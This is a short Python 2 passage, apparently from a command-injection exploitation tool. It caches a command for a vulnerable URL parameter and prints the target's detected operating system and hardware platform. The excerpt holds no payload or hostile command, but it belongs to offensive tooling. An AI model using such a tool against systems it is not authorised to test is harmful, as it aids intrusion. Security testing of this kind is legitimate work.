      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
      sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.